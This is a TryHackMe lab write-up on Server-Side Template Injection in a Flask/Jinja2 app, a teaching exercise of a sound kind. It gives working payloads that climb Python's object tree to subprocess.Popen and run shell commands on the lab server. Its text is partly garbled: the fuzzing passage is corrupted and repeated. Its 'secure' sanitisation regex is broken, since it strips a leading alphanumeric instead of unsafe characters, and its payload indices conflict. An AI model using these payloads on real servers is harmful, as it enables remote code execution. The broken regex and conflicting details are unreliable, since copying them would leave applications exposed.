Server-Side Template Injection (SSTI) is one of those vulnerabilities that looks deceptively simple on the surface but can escalate to full remote code execution faster than most people expect. In this TryHackMe room, I worked through the complete SSTI attack chain against a Flask/Jinja2 application from fuzzing for an injection point, navigating Python's object hierarchy to reach subprocess.Popen, all the way to executing shell commands on the server. One thing that slowed me down was discovering that browser URL encoding breaks the payload before it even reaches the template engine, switching to curl -g was the fix that unlocked the rest of the exploit.
Introduction
**What is Server Side Template Injection?
**Server Side Template Injection (SSTI) is a web exploit which takes advantage of an insecure implementation of a template engine.
What is a template engine?A template engine allows you to create static template files which can be re-used in your application.
What does that mean? Consider a page that stores information about a user, /profile/<user>. The code might look something like this in Python's Flask:
from flask import Flask, render_template_string
app = Flask(__name__)
@app.route("/profile/<user>")
def profile_page(user):
template = f"<h1>Welcome to the profile of {user}!</h1>"
return render_template_string(template)
app.run()
This code creates a template string, and concatenates the user input into it. This way, the content can be loaded dynamically for each user, while keeping a consistent page format.
Note: Flask is the web framework, while Jinja2 is the template engine being used.
**How is SSTI exploitable?**Consider the above code, specifically the template string. The variable user (which is user input) is concatenated directly into the template, rather than passed in as data. This means whatever is supplied as user input will be interpreted by the engine.
Note: The template engines themselves aren't vulnerable, rather an insecure implementation by the developer.
**What is the impact of SSTI?
**As the name suggests, SSTI is a server side exploit, rather than client side such as cross site scripting (XSS).
This means that vulnerabilities are even more critical, because instead of an account on the website being hijacked (common use of XSS), the server instead gets hijacked.
The possibilities are endless, however the main goal is typically to gain remote code execution.
Deploy!
Deploy the virtual machine associated with this lab and follow along as we exploit SSTI together!
You can access the web server by navigating to http://MACHINE_IP:5000.
Note: The endpoint / does not exist, and you will receive a 404 error.
Detection
Finding an injection point
The exploit must be inserted somewhere, this is called an injection point.
There are a few places we can look within an application, such as the URL or an input box (make sure to check for hidden inputs).
In this example, there is a page that stores information about a user: http://MACHINE_IP:5000/profile/<user>, which takes in user input.
We can find the intended output by providing an expected name:
**Fuzzing
**Fuzzing is a technique to determine whether the server is vulnerable by sending multiple characters in hopes to interfere with the backend system.
This can be done manually, or by an application such as BurpSuite's Intruder. However, for educational purposes, we will look at the manual process.
Luckily for us, most template engines will use a similar character set for their "special functions" which makes it relatively quick to detect if it's vulnerable to SSTI.
For example, the following characters are known to be used in quite a few template engines: ${{<<a class="embed-card" href="%'"}}%.
To manually fuzz all of these characters, they can be sent one by one following each other.
The fuzzing process looks as follows:
<img src="https://assets.tryhackme.com/additional/imgur/jxJ5103.png" alt="">%'"}}%`.
To manually fuzz all of these characters, they can be sent one by one following each other.
The fuzzing process looks as follows:
Photo Credit: PortSwigger
To follow the decision tree, start at the very left and include the variable in your request. Follow the arrow depending on the output:
In the case of our example, the process looks as follows:
The application mirrors the user input, so we follow the red arrow:
The application evaluates the user input, so we follow the green arrow.
Continue with this process until you get to the end of the decision tree.
Answer the questions below
What template engine is being used in this application? Jinja2
Syntax
After having identified the template engine, we now need to learn its syntax.
Where better to learn than the official documentation?
Always look for the following, no matter the language or template engine:
How to start a print statement
How to end a print statement
How to start a block statement
How to end a block statement
In the case of our example, the documentation states the following:
{{ - Used to mark the start of a print statement
}} - Used to mark the end of a print statement
{% - Used to mark the start of a block statement
%} - Used to mark the end of a block statement
Answer the questions below
How do you start a comment in Jinja2? {#
Exploitation
At this point, we know:
Planning
Let's first plan how we would like to exploit this vulnerability.
Since Jinja2 is a Python based template engine, we will look at ways to run shell commands in Python. A quick Google search brings up a blog that details different ways to run shell commands. I will highlight a few of them below:
# Method 1
import os
os.system("whoami")
# Method 2
import os
os.popen("whoami").read()
# Method 3
import subprocess
subprocess.Popen("whoami", shell=True, stdout=-1).communicate()
Crafting a proof of concept (Generic)
Combining all of this knowledge, we are able to build a proof of concept (POC).
The following payload takes the syntax we acquired from Task 4, and the shells above, and merges them into something that the template engine will accept: http://MACHINE_IP:5000/profile/{% import os %}{{ os.system("whoami") }}.
Note: Jinja2 is essentially a sub language of Python that doesn't integrate the import statement, which is why the above does not work.
Crafting a proof of concept (Jinja2)
Python allows us to call the current class instance with .__class__, we can call this on an empty string:
Payload: http://MACHINE_IP:5000/profile/{{ ''.__class__ }}.
Classes in Python have an attribute called .__mro__ that allows us to climb up the inherited object tree:
Payload: http://MACHINE_IP:5000/profile/{{ ''.__class__.__mro__ }}.
Since we want the root object, we can access the second property (first index):
Payload: http://MACHINE_IP:5000/profile/{{ ''.__class__.__mro__[1] }}.
Objects in Python have a method called .__subclassess__ that allows us to climb down the object tree:
Payload: http://MACHINE_IP:5000/profile/{{ ''.__class__.__mro__[1].__subclasses__() }}.
Now we need to find an object that allows us to run shell commands. Doing a Ctrl-F for the modules in the code above yields us a match:
As this whole output is just a Python list, we can access this by using its index. You can find this by either trial and error, or by counting its position in the list.
In this example, the position in the list is 400 (index 401):
Payload: http://MACHINE_IP:5000/profile/{{ ''.__class__.__mro__[1].__subclasses__()[401] }}.
The above payload essentially calls the subprocess.Popen method, now all we have to do is invoke it (use the code above for the syntax)
Payload: http://MACHINE_IP:5000/profile/{{ ''.__class__.__mro__[1].__subclasses__()[401]("whoami", shell=True, stdout=-1).communicate() }}.
Finding payloads
The process to build a payload takes a little while when doing it for the first time, however it is important to understand why it works.
For quick reference, an amazing GitHub repo has been created as a cheatsheet for payloads for all web vulnerabilities, including SSTI.
The repo is located here, while the document for SSTI is located here.
Answer the questions below
What is the result of the "whoami" shell command? jake
curl -g "http://IP_Address:5000/profile/{{''.__class__.__mro__[1].__subclasses__()[356]('whoami',shell=True,stdout=-1).communicate()}}"
Examination
Now that we've exploited the application, let's see what was actually happening when the payload was injected.
The code that we exploited was the same as shown in Task 1:
from flask import Flask, render_template_string
app = Flask(__name__)
@app.route("/profile/<user>")
def profile_page(user):
template = f"<h1>Welcome to the profile of {user}!</h1>"
return render_template_string(template)
app.run()
Let's imagine this like a simple find and replace.
Refer to the code below to see exactly how this works:
# Raw code
template = f"<h1>Welcome to the profile of {user}!</h1>"
# Code after injecting: TryHackMe
template = f"<h1>Welcome to the profile of TryHackMe!</h1>"
# Code after injecting: {{ 7 * 7 }}
template = f"<h2>Welcome to the profile of {{ 7 * 7 }}!</h1>"
As we learned in Task 4, Jinja2 is going to evaluate code that is in-between those sets of characters, which is why the exploit worked.
All this hacking begs the question, what can be done to prevent this from happening in the first place?
Secure methods
Most template engines will have a feature that allows you to pass input in as data, rather that concatenating input into the template.
In Jinja2, this can be done by using the second argument:
# Insecure: Concatenating input
template = f"<h1>Welcome to the profile of {user}!</h1>"
return render_template_string(template)
# Secure: Passing input as data
template = "<h1>Welcome to the profile of {{ user }}!</h1>"
return render_template_string(template, user=user)
SanitisationUser input can not be trusted!
Every place in your application where a user is allowed to add custom content, make sure the input is sanitised!
This can be done by first planning what character set you want to allow, and adding these to a whitelist.
In Python, this can be done like so:
import re
# Remove everything that isn't alphanumeric
user = re.sub("^[A-Za-z0-9]", "", user)
template = "<h1>Welcome to the profile of {{ user }}!</h1>"
return render_template_string(template, user=user)
Most importantly, remember to read the documentation of the template engine you are using.
Case Study
**HackerOne Bug Bounty
**In March 2016, a user reported an SSTI vulnerability in one of Uber's subdomains.
The vulnerability was present within a form that allowed the user to change their profile name. Much like in the example, the user had control over an input which was then reflected back to the user (via email).
Although the user was unable to gain remote code execution, the vulnerability was still present and they were awarded with a $10,000 bounty!
Read the report here.
Answer the questions below
What payload was used to confirm SSTI? {{ '7'*7 }}
SSTI is a reminder that the vulnerability is rarely in the template engine itself; it's in how developers use it. Jinja2, Twig, and Freemarker these tools are secure by design. The problem is concatenating user input directly into a template string and then rendering it, which collapses the boundary between data and code.
A few things worth taking away from this room as a developer:
Never build templates with f-strings and user input. The difference between vulnerable and secure is one line:
python
# Vulnerable
template = f"<h1>Welcome, {user}!</h1>"
render_template_string(template)
# Secure
render_template_string("<h1>Welcome, {{ user }}!</h1>", user=user)
Sanitise all user input regardless. Even with safe rendering, whitelist what characters you accept — strip anything that isn't alphanumeric if the field doesn't need special characters.
SSTI injection points aren't just URLs and forms. The 2016 Uber HackerOne report that accompanied this room is a perfect example — the injection point was a profile name field, and the payload executed inside an email template, earning the researcher a $10,000 bounty. Anywhere your application reflects or stores user input that later gets passed through a template engine is a potential injection point, including HTTP headers, cookies, API bodies, email templates, and even log viewers.
The object traversal chain is the real lesson. The payload ''.__class__.__mro__[1].__subclasses__() works because Python's object model is fully accessible at runtime. Once you can evaluate arbitrary expressions, you're one index lookup away from subprocess.Popen. This is why sandboxing template engines in production environments matters — some engines support restricted execution modes that limit what objects and attributes are accessible.
